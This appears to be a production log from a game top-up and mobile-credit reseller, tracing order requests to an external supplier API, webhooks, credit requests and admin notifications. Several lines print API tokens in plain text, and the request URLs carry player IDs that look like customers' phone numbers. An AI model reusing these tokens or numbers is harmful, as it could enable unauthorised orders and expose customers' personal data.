[2026-03-24 14:48:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"6BJvq3H44OzZCz2TyCVezQRm8wHvF0Ve","execution_time":"2026-03-24 14:48:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":5} 
[2026-03-24 14:48:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"6BJvq3H44OzZCz2TyCVezQRm8wHvF0Ve","execution_time":"2026-03-24 14:48:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-02K1dcVb-1774352275","operation_id":163682} 
[2026-03-24 14:48:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"6BJvq3H44OzZCz2TyCVezQRm8wHvF0Ve","execution_time":"2026-03-24 14:48:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9snNM5s-1774348305","operation_id":163593} 
[2026-03-24 14:48:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"6BJvq3H44OzZCz2TyCVezQRm8wHvF0Ve","execution_time":"2026-03-24 14:48:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-djVT3-1774352434","operation_id":163684} 
[2026-03-24 14:48:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"6BJvq3H44OzZCz2TyCVezQRm8wHvF0Ve","execution_time":"2026-03-24 14:48:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UNx-1774352506","operation_id":163687} 
[2026-03-24 14:48:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"6BJvq3H44OzZCz2TyCVezQRm8wHvF0Ve","execution_time":"2026-03-24 14:48:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UPiF74u-1774352697","operation_id":163692} 
[2026-03-24 14:48:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"6BJvq3H44OzZCz2TyCVezQRm8wHvF0Ve","execution_time":"2026-03-24 14:48:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UPiF74u-1774352697","operation_id":163692,"processed":0,"skipped":5,"updates_prepared":0} 
[2026-03-24 14:48:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"6BJvq3H44OzZCz2TyCVezQRm8wHvF0Ve","execution_time":"2026-03-24 14:48:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UPiF74u-1774352697","operation_id":163692,"processed":0,"errors":0} 
[2026-03-24 14:48:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"6BJvq3H44OzZCz2TyCVezQRm8wHvF0Ve","execution_time":"2026-03-24 14:48:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UPiF74u-1774352697","operation_id":163692,"orders_count":1,"order_ids":["ORD-NMsWoy-1774352802"]} 
[2026-03-24 14:48:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"6BJvq3H44OzZCz2TyCVezQRm8wHvF0Ve","execution_time":"2026-03-24 14:48:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UPiF74u-1774352697","operation_id":163692} 
[2026-03-24 14:48:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"6BJvq3H44OzZCz2TyCVezQRm8wHvF0Ve","execution_time":"2026-03-24 14:48:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UPiF74u-1774352697","operation_id":163692,"orders_count":1} 
[2026-03-24 14:48:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"6BJvq3H44OzZCz2TyCVezQRm8wHvF0Ve","execution_time":"2026-03-24 14:48:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-NMsWoy-1774352802","operation_id":163695,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 14:48:04] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"6BJvq3H44OzZCz2TyCVezQRm8wHvF0Ve","execution_time":"2026-03-24 14:48:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-NMsWoy-1774352802","operation_id":163695,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 14:48:04] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"6BJvq3H44OzZCz2TyCVezQRm8wHvF0Ve","execution_time":"2026-03-24 14:48:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-NMsWoy-1774352802","operation_id":163695,"count":1} 
[2026-03-24 14:48:04] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"6BJvq3H44OzZCz2TyCVezQRm8wHvF0Ve","execution_time":"2026-03-24 14:48:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-NMsWoy-1774352802","operation_id":163695,"count":1} 
[2026-03-24 14:48:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"6BJvq3H44OzZCz2TyCVezQRm8wHvF0Ve","execution_time":"2026-03-24 14:48:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-NMsWoy-1774352802","operation_id":163695,"user_id":1158,"notification_type":"order_approved","reference_id":178774} 
[2026-03-24 14:48:04] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"6BJvq3H44OzZCz2TyCVezQRm8wHvF0Ve","execution_time":"2026-03-24 14:48:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-NMsWoy-1774352802","operation_id":163695,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 14:48:04] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"6BJvq3H44OzZCz2TyCVezQRm8wHvF0Ve","execution_time":"2026-03-24 14:48:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-NMsWoy-1774352802","operation_id":163695,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 14:48:04] production.INFO: Batch update completed {"job":"Quryjob","job_id":"6BJvq3H44OzZCz2TyCVezQRm8wHvF0Ve","execution_time":"2026-03-24 14:48:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-NMsWoy-1774352802","operation_id":163695,"processed":1,"errors":0} 
[2026-03-24 14:48:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"6BJvq3H44OzZCz2TyCVezQRm8wHvF0Ve","execution_time":"2026-03-24 14:48:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-NMsWoy-1774352802","operation_id":163695,"processed":1,"errors":0} 
[2026-03-24 14:48:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"6BJvq3H44OzZCz2TyCVezQRm8wHvF0Ve","execution_time":"2026-03-24 14:48:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-NMsWoy-1774352802","operation_id":163695} 
[2026-03-24 14:48:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1158  
[2026-03-24 14:48:43] production.INFO: Creating credit request {"payload":{"method_id":"9","amount":"3500.0","mainamount":"3500","operation_number":"600430848869","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/php1ig2203kpd0saPS7i88"}},"user_id":675} 
[2026-03-24 14:48:43] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 14:48:43] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 14:48:43] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 14:48:43] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 14:48:43] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 14:48:43] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 14:48:43] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 14:48:43] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 14:48:43] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18631,"user_id":675,"amount":3500.0,"admins_notified":7} 
[2026-03-24 14:50:01] production.INFO: Constructing job for order: 178775  
[2026-03-24 14:50:04] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"qtsV39mMrKK4H6HmITd5y1QTdSSWydOl","execution_time":"2026-03-24 14:50:04"} 
[2026-03-24 14:50:04] production.INFO: Found pending operations {"job":"Quryjob","job_id":"qtsV39mMrKK4H6HmITd5y1QTdSSWydOl","execution_time":"2026-03-24 14:50:04","total_operations":5,"sites_count":1} 
[2026-03-24 14:50:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"qtsV39mMrKK4H6HmITd5y1QTdSSWydOl","execution_time":"2026-03-24 14:50:04","site_id":3,"site_name":"swgamessd","orders_count":5,"order_ids":["ORD-9snNM5s-1774348305","ORD-02K1dcVb-1774352275","ORD-djVT3-1774352434","ORD-UNx-1774352506","ORD-UPiF74u-1774352697"]} 
[2026-03-24 14:50:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"qtsV39mMrKK4H6HmITd5y1QTdSSWydOl","execution_time":"2026-03-24 14:50:04","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 14:50:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"qtsV39mMrKK4H6HmITd5y1QTdSSWydOl","execution_time":"2026-03-24 14:50:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":5} 
[2026-03-24 14:50:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"qtsV39mMrKK4H6HmITd5y1QTdSSWydOl","execution_time":"2026-03-24 14:50:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-02K1dcVb-1774352275","operation_id":163682} 
[2026-03-24 14:50:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"qtsV39mMrKK4H6HmITd5y1QTdSSWydOl","execution_time":"2026-03-24 14:50:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9snNM5s-1774348305","operation_id":163593} 
[2026-03-24 14:50:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"qtsV39mMrKK4H6HmITd5y1QTdSSWydOl","execution_time":"2026-03-24 14:50:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-djVT3-1774352434","operation_id":163684} 
[2026-03-24 14:50:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"qtsV39mMrKK4H6HmITd5y1QTdSSWydOl","execution_time":"2026-03-24 14:50:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UNx-1774352506","operation_id":163687} 
[2026-03-24 14:50:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"qtsV39mMrKK4H6HmITd5y1QTdSSWydOl","execution_time":"2026-03-24 14:50:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UPiF74u-1774352697","operation_id":163692} 
[2026-03-24 14:50:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"qtsV39mMrKK4H6HmITd5y1QTdSSWydOl","execution_time":"2026-03-24 14:50:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UPiF74u-1774352697","operation_id":163692,"processed":0,"skipped":5,"updates_prepared":0} 
[2026-03-24 14:50:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"qtsV39mMrKK4H6HmITd5y1QTdSSWydOl","execution_time":"2026-03-24 14:50:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UPiF74u-1774352697","operation_id":163692,"processed":0,"errors":0} 
[2026-03-24 14:50:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"qtsV39mMrKK4H6HmITd5y1QTdSSWydOl","execution_time":"2026-03-24 14:50:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UPiF74u-1774352697","operation_id":163692} 
[2026-03-24 14:50:04] production.INFO: Executing GetProducts task...  
[2026-03-24 14:50:04] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 14:50:04] production.INFO: Executing GetProducts task...  
[2026-03-24 14:50:05] production.INFO: Constructing job for order: 178776  
[2026-03-24 14:50:06] production.INFO: async() رجع: true  
[2026-03-24 14:50:06] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 14:50:06] production.WARNING: Product with ID 395 not found  
[2026-03-24 14:50:07] production.WARNING: Product with ID 213 not found  
[2026-03-24 14:50:07] production.WARNING: Product with ID 212 not found  
[2026-03-24 14:50:07] production.WARNING: Product with ID 211 not found  
[2026-03-24 14:50:07] production.WARNING: Product with ID 210 not found  
[2026-03-24 14:50:07] production.WARNING: Product with ID 209 not found  
[2026-03-24 14:50:07] production.WARNING: Product with ID 214 not found  
[2026-03-24 14:50:07] production.WARNING: Product with ID 215 not found  
[2026-03-24 14:50:07] production.WARNING: Product with ID 216 not found  
[2026-03-24 14:50:07] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 14:50:07] production.INFO: Handling job for order: 178775  
[2026-03-24 14:50:07] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 14:50:07] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:50:07] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/89/params?qty=1&uuid=4cf4aedf-44ed-40e1-9e64-a4a241803a7f&Player_ID=11630999285  
[2026-03-24 14:50:07] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/89/params?qty=1&uuid=4cf4aedf-44ed-40e1-9e64-a4a241803a7f&Player_ID=11630999285","has_body":false} 
[2026-03-24 14:50:08] production.INFO: Operation sent successfully {"operation_id":163696,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-AIHMLvL-1774353008","amount":4.7234999999999995878852132591418921947479248046875,"status":"processing","product":"530+51 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 14:50:08"}},"processed_data":{"order_number":"ORD-AIHMLvL-1774353008","amount":4.7234999999999995878852132591418921947479248046875,"status":"processing","product":"530+51 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 14:50:08] production.INFO: Handling job for order: 178776  
[2026-03-24 14:50:08] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 14:50:08] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:50:08] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/34/params?qty=1&uuid=cda2efa4-6145-439b-a298-afb3f8642349&Player_ID=0930814155  
[2026-03-24 14:50:08] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/34/params?qty=1&uuid=cda2efa4-6145-439b-a298-afb3f8642349&Player_ID=0930814155","has_body":false} 
[2026-03-24 14:50:09] production.INFO: Operation sent successfully {"operation_id":163697,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-qOpivfap-1774353009","amount":47.691519999999997025952325202524662017822265625,"status":"processing","product":"45.19 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 14:50:09"}},"processed_data":{"order_number":"ORD-qOpivfap-1774353009","amount":47.691519999999997025952325202524662017822265625,"status":"processing","product":"45.19 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 14:50:17] production.INFO: Constructing job for order: 178777  
[2026-03-24 14:50:18] production.INFO: Handling job for order: 178777  
[2026-03-24 14:50:18] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 14:50:18] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:50:18] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/89/params?qty=1&uuid=3310a48e-667d-4a6b-a36b-fc3447c33678&Player_ID=12511846203  
[2026-03-24 14:50:18] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/89/params?qty=1&uuid=3310a48e-667d-4a6b-a36b-fc3447c33678&Player_ID=12511846203","has_body":false} 
[2026-03-24 14:50:19] production.INFO: Operation sent successfully {"operation_id":163698,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-wugtRv-1774353018","amount":4.7234999999999995878852132591418921947479248046875,"status":"processing","product":"530+51 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 14:50:19"}},"processed_data":{"order_number":"ORD-wugtRv-1774353018","amount":4.7234999999999995878852132591418921947479248046875,"status":"processing","product":"530+51 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 14:50:25] production.INFO: Constructing job for order: 178778  
[2026-03-24 14:50:28] production.INFO: Handling job for order: 178778  
[2026-03-24 14:50:28] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 14:50:28] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:50:28] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/816/params?qty=1&uuid=84bafbb6-f158-4f46-b9c0-3e9808fc7958&Player_ID=0936970591  
[2026-03-24 14:50:28] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/816/params?qty=1&uuid=84bafbb6-f158-4f46-b9c0-3e9808fc7958&Player_ID=0936970591","has_body":false} 
[2026-03-24 14:50:28] production.INFO: Operation sent successfully {"operation_id":163699,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-G5c-1774353028","amount":507.37695000000002210072125308215618133544921875,"status":"processing","product":"480.77 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 14:50:28"}},"processed_data":{"order_number":"ORD-G5c-1774353028","amount":507.37695000000002210072125308215618133544921875,"status":"processing","product":"480.77 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 14:50:33] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-AIHMLvL-1774353008","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 14:50:33] production.INFO: Processed webhook data (normalized) {"id":"ORD-AIHMLvL-1774353008","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 14:50:33] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 14:50:33] production.INFO: SendAcceptReject: Notification queued {"user_id":32,"notification_type":"order_approved","reference_id":178775} 
[2026-03-24 14:50:33] production.INFO: Order updated successfully. Order ID: 178775, Status: completed  
[2026-03-24 14:50:33] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-AIHMLvL-1774353008","status":"completed","codes_count":0} 
[2026-03-24 14:50:35] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 32  
[2026-03-24 14:50:36] production.INFO: SendAcceptReject: Notification queued {"user_id":125,"notification_type":"order_approved","reference_id":178708} 
[2026-03-24 14:50:38] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 125  
[2026-03-24 14:50:40] production.INFO: Constructing job for order: 178779  
[2026-03-24 14:50:41] production.INFO: Handling job for order: 178779  
[2026-03-24 14:50:41] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 14:50:41] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:50:41] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/810/params?qty=1&uuid=bb406601-ee8d-46a9-8ade-15236cb5b115&Player_ID=0936970591  
[2026-03-24 14:50:41] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/810/params?qty=1&uuid=bb406601-ee8d-46a9-8ade-15236cb5b115&Player_ID=0936970591","has_body":false} 
[2026-03-24 14:50:41] production.INFO: Operation sent successfully {"operation_id":163700,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-UeSVPAi-1774353041","amount":253.683439999999990277501638047397136688232421875,"status":"processing","product":"240.38 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 14:50:41"}},"processed_data":{"order_number":"ORD-UeSVPAi-1774353041","amount":253.683439999999990277501638047397136688232421875,"status":"processing","product":"240.38 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 14:50:45] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-wugtRv-1774353018","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 14:50:45] production.INFO: Processed webhook data (normalized) {"id":"ORD-wugtRv-1774353018","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 14:50:45] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 14:50:45] production.INFO: SendAcceptReject: Notification queued {"user_id":32,"notification_type":"order_approved","reference_id":178777} 
[2026-03-24 14:50:45] production.INFO: Order updated successfully. Order ID: 178777, Status: completed  
[2026-03-24 14:50:45] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-wugtRv-1774353018","status":"completed","codes_count":0} 
[2026-03-24 14:50:47] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 32  
[2026-03-24 14:51:00] production.INFO: SendAcceptReject: Notification queued {"user_id":305,"notification_type":"request_approved","reference_id":18629} 
[2026-03-24 14:51:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 305  
[2026-03-24 14:51:12] production.INFO: SendAcceptReject: Notification queued {"user_id":1247,"notification_type":"request_approved","reference_id":18630} 
[2026-03-24 14:51:14] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1247  
[2026-03-24 14:51:18] production.INFO: SendAcceptReject: Notification queued {"user_id":675,"notification_type":"request_approved","reference_id":18631} 
[2026-03-24 14:51:20] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 675  
[2026-03-24 14:51:29] production.INFO: Constructing job for order: 178780  
[2026-03-24 14:51:31] production.INFO: Constructing job for order: 178781  
[2026-03-24 14:51:32] production.INFO: Handling job for order: 178780  
[2026-03-24 14:51:32] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 14:51:32] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:51:32] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/816/params?qty=1&uuid=a6b17f66-2f33-49da-91a5-619ef91b4f1f&Player_ID=0936970591  
[2026-03-24 14:51:32] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/816/params?qty=1&uuid=a6b17f66-2f33-49da-91a5-619ef91b4f1f&Player_ID=0936970591","has_body":false} 
[2026-03-24 14:51:33] production.INFO: Operation sent successfully {"operation_id":163701,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-SGkzY-1774353093","amount":507.37695000000002210072125308215618133544921875,"status":"processing","product":"480.77 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 14:51:33"}},"processed_data":{"order_number":"ORD-SGkzY-1774353093","amount":507.37695000000002210072125308215618133544921875,"status":"processing","product":"480.77 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 14:51:33] production.INFO: Handling job for order: 178781  
[2026-03-24 14:51:33] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 14:51:33] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:51:33] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=5a8e5335-7106-445f-b581-0e122283717b&Player_ID=52196699475  
[2026-03-24 14:51:33] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=5a8e5335-7106-445f-b581-0e122283717b&Player_ID=52196699475","has_body":false} 
[2026-03-24 14:51:34] production.INFO: Operation sent successfully {"operation_id":163702,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-TiaOYAZ-1774353094","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG","notes":[],"created_at":"2026-03-24 14:51:34"}},"processed_data":{"order_number":"ORD-TiaOYAZ-1774353094","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG"}} 
[2026-03-24 14:51:42] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-TiaOYAZ-1774353094","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 14:51:42] production.INFO: Processed webhook data (normalized) {"id":"ORD-TiaOYAZ-1774353094","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 14:51:42] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 14:51:42] production.INFO: SendAcceptReject: Notification queued {"user_id":1292,"notification_type":"order_approved","reference_id":178781} 
[2026-03-24 14:51:42] production.INFO: Order updated successfully. Order ID: 178781, Status: completed  
[2026-03-24 14:51:42] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-TiaOYAZ-1774353094","status":"completed","codes_count":0} 
[2026-03-24 14:51:43] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1292  
[2026-03-24 14:51:50] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"5000.0","mainamount":"5000","operation_number":"158291673","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/php5ru32gasb3qpbPt8Fye"}},"user_id":675} 
[2026-03-24 14:51:52] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 14:51:52] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 14:51:52] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 14:51:52] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 14:51:52] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 14:51:52] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 14:51:52] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 14:51:52] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 14:51:52] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18632,"user_id":675,"amount":5000.0,"admins_notified":7} 
[2026-03-24 14:52:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"KtsEHAcf8F55P23zDjc19qdmUHHmhjNk","execution_time":"2026-03-24 14:52:01"} 
[2026-03-24 14:52:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"KtsEHAcf8F55P23zDjc19qdmUHHmhjNk","execution_time":"2026-03-24 14:52:01","total_operations":9,"sites_count":2} 
[2026-03-24 14:52:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"KtsEHAcf8F55P23zDjc19qdmUHHmhjNk","execution_time":"2026-03-24 14:52:01","site_id":3,"site_name":"swgamessd","orders_count":5,"order_ids":["ORD-9snNM5s-1774348305","ORD-02K1dcVb-1774352275","ORD-djVT3-1774352434","ORD-UNx-1774352506","ORD-UPiF74u-1774352697"]} 
[2026-03-24 14:52:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"KtsEHAcf8F55P23zDjc19qdmUHHmhjNk","execution_time":"2026-03-24 14:52:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 14:52:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"KtsEHAcf8F55P23zDjc19qdmUHHmhjNk","execution_time":"2026-03-24 14:52:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":5} 
[2026-03-24 14:52:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"KtsEHAcf8F55P23zDjc19qdmUHHmhjNk","execution_time":"2026-03-24 14:52:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-02K1dcVb-1774352275","operation_id":163682} 
